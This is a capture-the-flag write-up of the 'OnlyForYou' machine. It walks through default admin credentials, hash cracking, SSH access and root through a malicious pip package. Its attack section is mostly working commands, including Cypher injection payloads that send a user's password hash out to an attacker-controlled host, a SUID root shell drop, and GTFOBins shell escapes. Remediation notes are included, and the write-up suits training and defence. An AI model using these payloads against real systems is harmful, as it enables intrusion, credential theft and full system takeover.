OnlyForYou
Summary
I enumerated the target and found two web applications beyond the public site: a Gogs git server and a Flask-based admin dashboard, both reachable directly from the network. The admin dashboard accepted the default credentials admin/admin, and its authenticated search feature turned out to be vulnerable to Neo4j Cypher injection, which was used to blind-exfiltrate a user's password hash via out-of-band HTTP callbacks.
Cracking that hash recovered valid SSH credentials for the user john, giving a foothold and the user flag. From there, an overly permissive sudo rule let john run pip3 download as root against any package hosted on the local Gogs instance; hosting a malicious Python package whose setup.py drops a SUID root shell, then triggering the sudo'd download, executed that code as root and delivered full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full port sweep; confirms 22, 80, plus the internal-looking 13000 and 18001.
$ nmap -sV -p- $TARGETFingerprint Gogs via its i_like_gogs cookie and page branding.
$ curl -sS -i --max-time 10 http://$TARGET:13000/Fingerprint the gunicorn-served Flask admin app and its /login redirect.
$ curl -sS -i --max-time 10 http://$TARGET:18001/FixRemove default credentials and restrict internal admin apps to trusted networksCritical
Exact commands 2
Grab an initial session/CSRF cookie.
$ curl -sS -c cookies.txt --max-time 10 http://$TARGET:18001/loginAuthenticate with default creds; 302 to /dashboard confirms success.
$ curl -sS -i -b cookies.txt -c cookies.txt -X POST --data-urlencode 'username=admin' --data-urlencode 'password=admin' http://$TARGET:18001/loginExact commands 5
Run on my tun0 IP to catch the OOB LOAD CSV callbacks.
$ python3 -m http.server 80First pass: make the database name every label in the graph, one callback each.
$ cat > /tmp/o4y_labels.txt <<CYPHER
' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://$ATTACKER_IP/?label=' + label as l RETURN 0 as _0 //
CYPHERSecond pass: the property keys, which is how password turns up as a field worth reading.
$ cat > /tmp/o4y_keys.txt <<CYPHER
' OR 1=1 WITH 1 as a CALL db.propertyKeys() YIELD propertyKey LOAD CSV FROM 'http://$ATTACKER_IP/?key=' + propertyKey as l RETURN 0 as _0 //
CYPHERThird pass: every property of every user node, so the hash arrives in the query string.
$ cat > /tmp/o4y_values.txt <<CYPHER
' OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$ATTACKER_IP/?' + p + '=' + toString(u[p]) as l RETURN 0 as _0 //
CYPHERSend each payload file in turn with --data-urlencode search@<file>. The listener records the callback; the HTTP response never shows anything.
$ curl -sS -b cookies.txt -X POST --data-urlencode search@/tmp/o4y_payload.txt http://$TARGET:18001/search -o /tmp/o4y-response.htmlFixParameterize database queries and disable dangerous Cypher proceduresCritical
MATCH (u:user) WHERE u.name = $name) instead of string concatenation, never build queries from raw request data, and disable or allowlist APOC/LOAD CSV procedures that can make outbound network calls (apoc.import.file.enabled=false, restrict dbms.security.procedures.unrestricted).Exact commands 2
Mode 1400 is raw SHA-256. Unsalted and uncosted, so a wordlist run is quick.
$ hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txtThe cracked value is also the account's SSH password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'id'FixEnforce strong, unique passwords and use a slow, salted hashing algorithmHigh
Exact commands 2
Confirm shell access as john.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'id'Read the user flag; replace output with <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'cat /home/john/user.txt'Exact commands 1
Enumerate standing sudo rights.
$ sshpass -p "$PASSWORD" ssh john@$TARGET 'sudo -l'
(root) NOPASSWD: /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gzFixRemove the unrestricted sudo pip3 ruleCritical
pip download --no-deps --no-build-isolation is not sufficient — instead use --only-binary=:all: to prevent sdist builds, or better, drop the sudo grant and have a CI/CD pipeline handle package installation with vetted, pinned artifacts.Exact commands 3
Triggers the sudo'd pip3 download; pip builds the sdist and runs its setup.py as root.
$ sshpass -p "$PASSWORD" ssh john@$TARGET 'cd /tmp && sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/o4ypkg2/archive/master.tar.gz'Confirm euid=0 from the dropped SUID shell before touching the flag.
$ sshpass -p "$PASSWORD" ssh john@$TARGET "/tmp/rootbash -p -c 'id'"Read the root flag; replace output with <root.txt>.
$ sshpass -p "$PASSWORD" ssh john@$TARGET "/tmp/rootbash -p -c 'cat /root/root.txt'"Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.